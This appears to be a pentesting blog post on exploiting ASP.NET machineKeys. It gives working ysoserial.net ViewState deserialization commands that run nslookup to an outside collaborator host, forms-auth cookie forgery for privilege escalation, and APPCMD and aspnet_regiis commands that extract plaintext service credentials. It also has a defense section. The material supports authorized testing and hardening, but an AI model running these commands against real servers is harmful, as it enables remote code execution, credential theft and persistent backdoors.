ASP.NET Cryptography for Pentesters

If you are coming back, and just here for the cheatsheet, you can find that here. If it’s your first time, hopefully you’ll read through the whole thing.

Note: For my own sanity, I have intentionally decided to omit references to ASP.NET 5 (or ASP.NET Core 1.0, or whatever the heck you want to call it). It is just too dramatically different, and if anything, it probably makes sense to write a whole other guide for it later. From this point forward, we are only talking about .NET 4.x and below.

Introduction

The goal of this post is to provide a resource for pentesters covering multiple aspects of practical exploitation ASP.NET cryptography. I want to highlight the increased risk that ASP.NET applications face, due to immutable design characteristics of the platform relating to cryptographic functionality.

The post focuses primarily around the machineKey, a cryptographic secret which touches almost everything in asp.net. How might you obtain one, and what exactly do you do with it. Some windows based cryptographic services are also explored. Finally, I provide some defense tips and discussion centered around protecting applications from the techniques described.

These techniques are all considered post-exploitation techniques. That is to say, they require some pre-existing violation of the security of an ASP.NET application, whether that is an arbitrary file read, a pre-existing remote code execution (RCE) vulnerability, a public information leak, or even the compromise of a totally separate application.

So while it is true that a perfectly secure, properly configured ASP.NET application is not subject to any of these weaknesses, the vulnerabilities which lead to them are fairly common. From the pentester perspective, you should be able to demonstrate the true impact of your vulnerabilities by maximizing the “damage” of their exploitation, just as a real attacker would.

Basically, this is the post that I wish I had when I first started learning about testing ASP.NET applications in-depth.

The machineKey

The first and most important thing you need to understand about ASP.NET applications is that usually, exposure of the machineKey will lead directly to code execution.

“MachineKey” actually refers to a pair of keys, one for encryption and one for validation.

The keys are stored as ASCII hex strings, and will looks like this:

Validation key: 1DFAEF69B18A38048AA7DD2D678A4129DF8B12CBB181046F1BFB7C6F0906B06835F34FE8956624CF3DCC6B79B9C4BB2B0492516EEFD2F6C9D304E1AE5CD6024F

Encryption key: 4AC6E4FFB2C0E8E1251BB0B94807D1C73829A947FF0CE01C801FD02FC545DF05

These keys are tied to several encryption, signing, and validation functions within ASP.NET. The most notable of these are “forms authentication” cookies and the viewstate.

More on form auth cookies later, for now lets focus on the viewstate.

To turn a machineKey into remote code execution (RCE), you need to produce a maliciously crafted viewstate and sign it with the validation key. This malicious viewstate value then just needs to be used on a page that processes the viewstate.

The “usually” in the opening sentence is a necessary qualifier, because it is possible to disable the viewstate – both at an application and page level. However, this is fairly uncommon because it is enabled by default. If you encounter a page which is “naturally” sending a __viewstate parameter when you submit a form on it, it should be vulnerable. A login page is usually a convenient place to start.

Depending on the configuration, the viewstate parameter might get processed even if it wasn’t being used normally. It might even work with a __VIEWSTATE GET parameter (instead of a POST parameter).

Lots of application frameworks have secrets used for similar functions, and it’s always bad if they get exposed. ASP.NET apps happen to possess a nearly universally present, highly reliable technique for converting them directly into RCE.

More on the viewstate

The purpose of the viewstate is to add some “state” to what is fundamentally a stateless protocol. Most web applications maintain state primarily on the server, whereas .NET splits the responsibility between the server and the client – and the client portion is the viewstate. This helps preserve various values on the page as requests go back and forth between the client and server.

The viewstate itself is a base64-encoded serialized object. This means anytime it is used, it is being deserialized by the server. This functionality was created prior to much of the current understanding of the security threat deserialization can pose. To prevent tampering with the viewstate it is signed with a MAC (message authentication code) to protect it’s integrity, and can also be encrypted to protect the confidentiality its contents.

There was a time when it was possible for an IIS administrator to disable both the MAC and encryption, and have a completely unprotected viewstate. Once deserialization attacks became mainstream, this became a security nightmare and Microsoft decided to forcibly override these settings. As of Sept 2014, it is no longer possible to disable the viewstate MAC.

Actually, it is technically possible, but you have to go out of your way and change obscure registry keys or turn on obscure options that make it very clear you are doing something incredibly dangerous. Keep it way in the back of your mind, and if you ever see an unsigned viewstate, alarms should go off in your head.

Locating the machineKey

Now you have an idea of how incredibly valuable a machineKey is to an attacker, how do you get it?

Most commonly, the machineKey will be located within the web.config located in the root folder of the web application.

This makes file-read vulnerabilities (with our usual, in “most cases” caveat) functionally equivalent to RCE. The bar for total compromise of the web server is pushed all the way down to just “read-access to files in the webroot.”

This type of vulnerability is not uncommon! A file reading function which does not properly sanitize input may accept directory traversal characters allowing the attacker to traverse to the webroot and read the web.config. Many XXE vulnerabilities will allow reading files from the local file system. In many cases, a server-side request forgery vulnerability (SSRF) can also read local files using the file:/// handler.

The machineKey values won’t always be located in the web.config. They might instead be located in the machine.config. if the machineKey is placed there, and not overridden by a value in the web.config for a given application, they will be the ones used for all cryptographic operations.

The machine.config will be located here:

32-bit:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config

64-bit:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config

Publicly exposed keys

The last way you might be able to get a machineKey is one that has been leaked publicly. The tool Blacklist3r contains a list of several thousand pre-harvested keys. Many of these were obtained from various developer forums, github leaks, etc. The AspDotNetWrapper utility within Blacklist3r allows for a quick way to test whether an application uses one of these keys. Simply grab a valid viewstate / viewstate generator value from an application, and plug in into the tool. If there’s a match, you’ll know within a few seconds.

Aside from using the pre-discovered list of keys, you should probably do your own OSINT to see if there is something specific to your application that the Blacklist3r developers didn’t find. Aside from that, this list hasn’t been updated in two years, so by doing your own general OSINT you may be able to enhance this list with some that you found yourself.

Using Blacklist3r

Grab a copy of Blacklist3r here. I’d recommend just grabbing the latest release version.

An example of using Blacklist3r to identify when known machineKeys are in use:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –-macdecode

You don’t need to specify the validation / encryption algorithms. There are only a few options, and it turns out bruteforcing all the permutations of them is pretty trivial, and this is exactly what Blacklist3r does for you.

Add any machineKey’s you’ve located on your own to the end of MachineKeys.txt before you run it.

When you get a match, it will look like this:

When you see the green text, it’s time to get excited.

UPDATE: Badsecrets

Since writing this post, I’ve created a tool under the Black Lantern Security banner called Badsecrets. It does the same thing that Blacklist3r does, but without the windows / c# dependency, as it is written in pure python – and most importantly (although out-of-scope for this blog post) is that it is not just for .NET viewstates. It currently has 11 modules covering all kinds of web frameworks. There’s a whole blog post about it over on the BLS blog, check that out for all the details! https://blog.blacklanternsecurity.com/p/introducing-badsecrets.

For now, i’ll give you what you need to use it immediately, using one of the example scripts that mimics blacklist3r. It can be used by supplying the values directly, or with the –url mode which connects to the site and scrapes the Viewstate out for you:

pip install badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

It can also be used with BBOT which can allow you to search at a massive scale for .NET viewstates with known keys (and for similar issues in many other frameworks, at that).

pip install bbot
bbot -f subdomain-enum -m badsecrets -t evil.corp

Autogenerated Keys

There is a 3rd scenario when it comes to where the machineKey might be stored. The application can be configured with the machineKey’s set to “AutoGenerate”. In this case, the keys are stored in one of the registry locations shown here:

HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4  

HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
IIS server configured to AutoGenerate the machineKey

This is a much safer option then setting a static key, but its not always possible to use. If the application is part of a server farm which is handling load-balanced requests for the same application, the keys need to be the same across servers for the application to work properly if the user gets routed to different servers mid-session.

Obviously, in this scenario you can not retrieve the key with just filesystem read access, unless the account that’s running the web server is over-privileged and you can access the registry hive from \system32\config\system, which should require local admin rights on the system. It goes without saying, for many reasons, you should never run a web application with local admin rights.

It’s still useful to understand how to retrieve the key from the registry values because:

  1. You might have some really strange bug that’s just lets you read registry values
  2. If you compromise the app some other way, having the machineKey is a perfect stealthy backdoor to get back in later, even if they original technique is patched.

So however you get registry access, if you manage to, here’s how to access the key:

The easy way

In his blog post Danger of Stealing Auto Generated .NET Machine Keys, Soroush Dalili presents a proof-of-concept .aspx file which will display the current machineKey, even if its been autogenerated and stored in the registry.

This short-circuits all of the complicated inner machinery being used to convert the basekey stored in the registry to the effective key and greatly simplifies the process. While incredibly handy, this does assume that you are in the post-exploitation context and therefore already have compromised the server and have access to add .aspx files.

In the (admittedly very odd) edge case where you only have access to the registry, you still need a way to convert raw values from the registry into usable keys yourself.

The hard way

It should be completely possible to reconstruct the key by hand with access to the registry value. I am planning on building a tool to do just that, soon – if I do I will update this section with the solution, but there is obviously a very narrow use-case for such a tool.

Exploiting a MachineKey

So you got a machineKey! Now what?

To generate the malicious viewstate, you will be using ysoserial.net. The easiest way to use it is to grab the latest release and just run the .exe directly from a windows machine. I like to use running nslookup on a Burpsuite collaborator domain as a non-intrusive RCE validation, so you’ll see that in my examples.

The following is an example of using the ysoserial.net binary to generate a payload with known encryption/validation keys:

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain> "  --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>"  --validationalg="SHA1" --validationkey="<validation key>"

The generator

The ”generator” value, which is sometimes referred to as the “modifier”, is unique the specific page that you will be using the exploit on. You can simply copy it from the target page once you select it, where you will find it in a variable called __VIEWSTATEGENERATOR. In some rare cases, you may be attempting to exploit a page where you do not have access to the generator. For example, you found a page that accepts __viewstate as a GET parameter, but there was no existing form there. In such an edge case, you just need to understand that this value is really just calculated based on the application and page paths. Therefore, you just need one or the other. Either the –path and –apppath parameters, or just the –modifier parameter.

For example:

--path="/Account/Login.aspx" --apppath="/"

Most of the time, you will want to leave apppath set to “/”. If the application’s webroot seems to be something else, like http://www.website.com/applicationroot, you would change it to “/applicationroot”. Sometimes what seems like just another folder on a webapp may in actuality be another application, so keep that in mind.

The –path is just that, the path to the specific page you are using. Note that sometimes the “.aspx” will be hidden in a path like this, so its just “Account/Login”. You still need “Account/Login.aspx”.

-g TextFormattingRunProperties

This is the “gadget” which ysoserial.net will use. If you are unsure exactly what this means, take a minute to learn more about C# deserialization in general by checking out this presentation from Defcon 25 from the creator of ysoserial.net, @pwntester, and/or read this whitepaper from nccgroup. In one sentence, a gadget is the specific chain of object methods and / or parameters that allow for some exploitable action when the object is deserialized.

Most of the time, you don’t need to worry about this. If you are getting blocked by a WAF you might want to try other gadgets, this was successful for me on one occasion where a WAF didn’t care for something very specific to the TextFormattingRunProperties gadget. The other one I recommend you try is TypeConfuseDelegate.

Once you have generated this base64 value, you need to find a place in the application that is reading the viewstate. Some applications will read the viewstate on every request, others will only do some on specific requests. In almost all cases, this will be a POST request – although there are apps where adding the GET parameter __VIEWSTATE will work too. Your best bet is to find a page that is naturally sending the viewstate, as this is a strong indication that is actively using it. If the application is reading the viewstate, it’s deserializing it… and so we know our exploit will be triggered.

It’s best to NOT use Burp repeater, and instead intercept a valid request and replace the viewstate with the one you generated with ysoserial.net. Doing this eliminates any possible interferences from CSRF / validation cookies.

Don’t forget to URL encode it! This is a common gotcha, and if you forget, you will miss exploitable targets and never be the wiser. You don’t need to URL encode everything. Just highlight the modified viewstate Burpsuite, right click, select convert, URL, then  “URL encode key characters“.

If all goes according to plan, when you submit the request, the command you specified with -c will execute, and you’ve got yourself an RCE. You might still see a code 500 error page – this does not mean it didn’t work (unless the error is about an invalid viewstate).

Update: ViewStateUserKey

Another possible gotcha that will cause an exploit attempt to fail is if the ViewStateUserKey is set.

Microsoft defines the ViewStateUserKey as follows:

The property helps you prevent one-click attacks by providing additional input to create the hash value that defends the view state against tampering. In other words, ViewStateUserKey makes it much harder for hackers to use the content of the client-side view state to prepare malicious posts against the site. The property can be assigned any non-empty string, preferably the session ID or the user’s ID.

The best way to think of it is as a salt, which is mixed in with the ViewState hash. If it’s being used, and you aren’t accounting for it, your payload will fail.

It is most commonly set in one of two scenarios:

  • When Anti-CSRF tokens are enabled. Many visual studio templates automatically include anti-CSRF protection, which also sets the ViewStateUserKey as in the following example code:
protected void Page_Init(object sender, EventArgs e)
{
    // The code below helps to protect against XSRF attacks
    var requestCookie = Request.Cookies[AntiXsrfTokenKey];

    if (requestCookie != null && Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))
    {
        // Use the Anti-XSRF token from the cookie
        _antiXsrfTokenValue = requestCookie.Value;
        Page.ViewStateUserKey = _antiXsrfTokenValue;
    }
    else
    {
        // Generate a new Anti-XSRF token and save to the cookie
        _antiXsrfTokenValue = Guid.NewGuid().ToString("N");
        Page.ViewStateUserKey = _antiXsrfTokenValue;
    }
}
  • Another common scenario is setting the ViewStateUserKey to the user’s sessionID, such as in the following example:
void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

This can be remarkably effective in preventing deserialization attacks. Most attackers are just not going to try messing with the ViewStateUserKey. As I describe below in my defense section, if used cleverly, it can be a particularly effective defense-in-depth technique when the MachineKey can’t be set to AutoGenerate.

The good news (for attackers) is that if the ViewStateUserKey is set, and you know how its being set (or can guess) it is trivial to defeat using ysoserial.net. You would simply add –viewstateuserkey=TheViewStateUserKey to your ysoserial command. So, in comparing to the previous example:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain> " --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"  --viewstateuserkey="TheViewStateUserKeyValue"

If you are using Blacklist3r, and you’d like to account for a ViewStateUserKey, you can set the –antiCSRFToken option to define it (regardless of whether its actually set to the value of the antiCSRFToken or something else).

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –-macdecode –antiCSRFTOKEN="TheViewStateUserKeyValue"

Forms Cookie decryption / encryption

As described by microsoft, the forms authentication cookie is just a container for a “forms authentication ticket”. The authentication ticket riding inside the encrypted and signed cookie stores the identity of the current user along with several pieces of metadata, like when the ticket was issued, when it expires, and a field called userData which can store just about anything.

Possession of the MachineKey is all you need to decrypt / re-encrypt / sign one. I couldn’t find a handy tool to do this, even though it’s a relatively simple task – So I created one.

https://github.com/liquidsec/aspnetCryptTools

These two quick-and-dirty little C# console applications will let you decrypt a Forms cookie (FormsDecrypt) or recreate your own (FormsEncrypt).  

FormsDecrypt.cs
FormsEncrypt.cs
FormsDecrypt.cs after altering cookie with FormsEncrypt.cs

In many cases, this will be all you need to escalate your privilege to that of an administrative user. If you are lucky, all you need to do is change the username value in the cookie to that of an admin user.

Of course, applications will vary a lot in how they use the forms auth cookie and they may be doing some crazy custom stuff in the userData field. For example, SQL injection on a field which is populated from userData is not unheard of (the developer believes decrypted cookie data is trusted).

Usually, it will be pretty obvious what is possible once you decrypt the cookie. If you are in a position to decrypt / encrypt / tamper with a forms cookie, you can get RCE via the viewstate. However, if you have the machineKey but the viewstate is disabled, this might be your best angle of attack. Also, sometimes things might be encrypted in the forms auth cookie that are actually more valuable than just RCE on a particular web server. Think of a single-sign on JWT which is valid on other applications.

Something else to keep in mind: even if you don’t have the machineKey, if two servers share a machineKey, its possible that the forms authentication cookie from one app (that you have access to) will work in the other (that you don’t).

Update:

I neglected to mention a rather obvious point, and though its mentioned on the github readme, I’d like to be as clear as possible. When using these programs, you’ll need to populate the app.config file with the captured machineKey and then compile and run it. After compiling, a .config file will accompany the binary you produce. Should you need to swap out to a different machineKey you can simply edit this config file without recompiling. That said, there is a huge caveat to this, which brings me to my next point…

Another important nuance I failed to mention originally is that different versions of .NET use slightly different schemes and therefore are incompatible with one another. Since this creates massive headaches for their customers who may have a blend of legacy servers that need to interact, they have created various compatibility modes.

This document explains it really well, so I won’t dive into too much detail. In practice, here’s what you need to know: if you find a machineKey, and there is a compatibilityMode attribute set, match it before you compile. If you somehow get the keys without seeing the while machineKey tag, here’s the ones you should try: Framework20SP1, Framework20SP2, and Framework45. Also, keep in mind it might be defined somewhere else in the web.config – for example, indirectly via the targetFramework tag.

This is probably also a good place to mention, that unless you are dealing with a very old version of .net, a forms cookie is going to be both encrypted and signed, regardless of the “protection” attribute of the forms tag. So if for some very odd reason you only get one half of the machineKey or the other, it’s more or less worthless.

Encrypted configuration values

IIS includes built-in functionality to encrypt sensitive values (like database connection strings) to protect them in the case of a file-read exposure. These keys are either encrypted using RsaProtectedConfigurationProvider or DataProtectionConfigurationProvider (DPAPI). The DPAPI method uses the Windows Data Protection API to encrypt and decrypt data. The RSA method uses an RSA key pair to do the same. What you need to know is, in order to get past either method you are going to need code execution with local admin privileges. At that point, the proverbial goose is already long cooked anyway.

As a pentester, if you encounter this by way of an arbitrary file read, don’t waste your time – you are not going to be able to decrypt anything without code execution with admin privileges. That being said, if are in a post-exploitation mode here’s how you can decrypt these values:

aspnet_regiis

The aspnet_regiis utility (located in C:\Windows\Microsoft.NET\Framework64\v4.0.30319\) can be used to encrypt / decrypt sections of the web.config. Again, this is only useful in a post-exploitation scenario where you already have local admin access on the server.

Decrypting config section:

c:\LOCATIONOFWEBROOT>c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis -pdf connectionStrings .

It needs to be executed from the path of the webroot of the target application. Obviously, if this is a production web application, you probably want to make a copy of the webroot and run it against the copy instead, as it is changing the configuration file in-place.

Change “connectionStrings” to the name of the encrypted section, if it is something else. Using this version of the command, you should not have to worry about which encryption provider was used, aspnet_regiis will handle figuring that out for you.

ApplicationHost.config

Once you have fully compromised a server, if you have local admin access, you can read applicationhost.config (located at: C:\Windows\System32\inetsrv\Config\ApplicationHost.config). This is extremely useful for a variety of reasons, not the least of which is seeing what other apps which are running on the same server and their paths.

Sometimes, you will find encrypted credentials in the applicationHost.config. This occurs when the administrator sets an application up to run as a particular user – let’s say maybe it’s a domain service account. From a pentesters perspective, a domain service account might be exactly what you need to start pivoting around the network. Long-gone are the days when mimikatz would spit out plaintext creds (unless you happen to pop a windows 2003/2008 server). You can get a lot of mileage out of passing NTLM hashes, but sometimes you really need a plaintext cred.

If you have local admin, you can decrypt these, and its super easy using the built-in APPCMD utility.

There’s two types of passwords you might find in the applicationHost.config: Application Pool passwords, and Virtual directory passwords.

Application Pools:

List available pools:

%systemroot%\system32\inetsrv\APPCMD list apppools

Get the details of the selected app pool, including plaintext passwords (if your current user has permission):

%systemroot%\system32\inetsrv\APPCMD list <apppool> /text:*

Virtual directory:

List available vdirs:

%systemroot%\system32\inetsrv\APPCMD list vdirs

Get the details of the selected virtual directory, including plaintext passwords (if your current user has permission)

%systemroot%\system32\inetsrv\APPCMD list vdirs <dirname>/ /text:*

ASP.NET Application Defense

This section is designed to help developers and admins with tips to better secure their ASP.NET deployments.

  • Protect your machineKey at all costs. If an attacker gets this, and knows what they are doing (maybe because they read this blog 😀 ) in almost all cases they are going to get code execution. If you can, set your machineKey to be autogenerated so its not laying around in a config file.
  • File read = RCE (unless are using autogenerated keys!). Treat any functionality which is reading data from the file system with the utmost scrutiny. A file-read vuln is really bad news for any web application. It’s certain death for a .net application in most cases.
  • Do NOT reuse your machineKey across applications. The last thing you want is your super-secure crown-jewel application to get popped because the crappy-old random application in the corner used the same key. I’ve seen entire organizations with hundreds of applications using the same key, and this is a BAD idea. It means that if one app get popped, everything gets popped. And in this case, “popped” doesn’t even have to be RCE. Just a vulnerability providing read-only filesystem access will do the trick.
  • If you are a dev / sysadmin of a ASP.net app, and you only remember one thing from this post, remember this: If your app gets compromised in any way, change your machine keys! As an attacker there is nothing more satisfying than stashing away machineKeys for later know that unless you change them I’ve got a guaranteed back door that leaves no trace. Did your exchange server get popped earlier this year? Did they put a web shell down? You probably deleted their web shell, but if you didn’t change your keys they still have access right now!

Update: Defense-in-depth for the truly paranoid

As described earlier, the ViewStateUserKey can be thought of like a salt which gets mixed in with the ViewState. When its set to something like the user’s Session ID – it adds another layer of complexity that may confuse attackers who have somehow obtained your MachineKey. Without knowing or guessing how you set the ViewStateUserKey, they won’t be able to make a working payload with ysoserial.net.

However, even something like the Session ID or CSRF token is something known to the attacker, and they very well may try guessing at the ViewStateUserKey with these values.

Your best option is definitely still to just set the MachineKey to autogenerate. If you can’t do this (likely because you are running a server farm) setting the ViewStateUserKey to a secret is guaranteed to frustrate any attacker who gets your machineKey.

  • Select a secret and put it in your web.config, for example in the “AppSettings” section.
  • Encrypt the secret using aspnet_regiis. This will ensure even in the case of a file-read vulnerability, an attacker can’t decrypt the value without local admin privileges.
  • In your application’s Site.Master.cs, within the Page_init function, set the ViewStateUserKey to this value. It won’t be unique to every user, but it raises the bar for exploitation from low-privilege file-read to admin-level code execution, which is all you can really ever hope to do.

Example code:

protected void Page_Init(object sender, EventArgs e)
{
    string viewstateuserkey = ConfigurationManager.AppSettings["ViewStateUserKey"];
    Page.ViewStateUserKey = viewstateuserkey;
}

CVE-2020-0688

Just a bit more on the topic of key reuse, with a real recent (ish) world example. It looks like Microsoft wasn’t generating unique machineKeys upon Exchange server installation, and a default key was being used all over the place.

A remote code execution vulnerability exists in Microsoft Exchange Server when the server fails to properly create unique keys at install time. Knowledge of the validation key allows an authenticated user with a mailbox to pass arbitrary objects to be deserialized by the web application, which runs as SYSTEM.

Here’s the details: but I suspect if you’ve read this far, you already know exactly what it’s going to say. You use ysoserial.net to generate a payload, using this specific key. This is pretty much a disaster; on top of the already large pile of disasters relating to Microsoft Exchange server lately. If you reuse machineKeys , you are creating a version of this inside your organization. Please don’t do it!

References and Further Reading

References which contributed to this post

Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net

Exploiting Deserialisation in ASP.NET via ViewState

Deep Dive into .NET ViewState deserialization and its exploitation

Decrypting IIS Passwords to Break Out of the DMZ: Part 2

Introducing Badsecrets

A series of Microsoft developer blogs discussing the cryptographic changes in ASP.NET 4.5 vs 4.0:

Part 1

Part 2

Part 3

An overview of various cryptographic functions in ASP.NET from the developers perspective

Cryptography in dotnet

Cheatsheet

I have created a cheatsheet with all of the relevant information in a concise form, ideal for use as a quick reference.

Cheatsheet

3 thoughts on “ASP.NET Cryptography for Pentesters”

Leave a comment